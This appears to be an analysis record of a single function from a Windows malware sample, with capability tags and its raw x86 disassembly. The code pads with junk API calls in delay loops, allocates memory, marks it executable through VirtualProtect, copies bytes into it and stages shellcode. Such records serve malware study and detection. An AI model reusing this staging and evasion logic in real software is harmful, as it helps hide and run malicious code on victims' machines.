Function at 0x40393e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x805997
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x20d4
call fcn.0040d490
push ebx
push esi
xor esi, esi
cmp dword [0x8b8838], 0x5b1
push edi
jne 0x403a0d
push esi
lea eax, [esp + 0x10e4]
push eax
push esi
push 0x402e50
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x24]
call fcn.00403cd2
push esi
mov dword [esp + 0x20f0], esi
call fcn.00404867
pop ecx
call fcn.00404805
push 0x402efc
lea ecx, [esp + 0x14]
call fcn.00403500
lea ecx, [esp + 0x10]
call fcn.0040351c
lea ecx, [esp + 0x10]
call fcn.00403562
lea ecx, [esp + 0x10]
call fcn.0040357b
push esi
push esi
call fcn.00404b84
push esi
call fcn.00404b55
add esp, 0xc
push esi
call fcn.00404b3e
pop ecx
push esi
call fcn.00404e5c
pop ecx
push esi
call fcn.00404b3e
pop ecx
call fcn.00404c17
add dword [0x8b8838], 0x1134b
push dword [0x8b8838]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push dword [0x8b8838]
mov dword [0x8b778c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403a65
inc edi
cmp edi, 0x4f6a4
jl 0x403a45
xor edi, edi
cmp dword [0x8b8838], esi
jbe 0x403ac4
cmp dword [0x8b8838], 0xa8
mov eax, dword [0x8b883c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x8b778c]
mov byte [ecx + edi], al
jne 0x403abb
push 0x402f10
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x402f80
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x8b8838]
jb 0x403a6f
xor edi, edi
mov eax, dword [0x8b8838]
add eax, edi
cmp eax, 0xe
jne 0x403b31
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402ff8
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [esp + 0x8e4]
push eax
push esi
push 0x403008
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x4030a0
push 0x403118
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x10e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x403ac6
call fcn.00403826
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403b4e
call fcn.00403924
inc edi
cmp edi, 0x6753f
jl 0x403b41
push 0x7b
pop edi
cmp dword [0x8b8838], 0x86
jne 0x403bbf
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x403130
push 0x403154
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x403190
push 0x4031a0
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x4e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x18e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x403b5a
push 0x4031b4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x20e4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret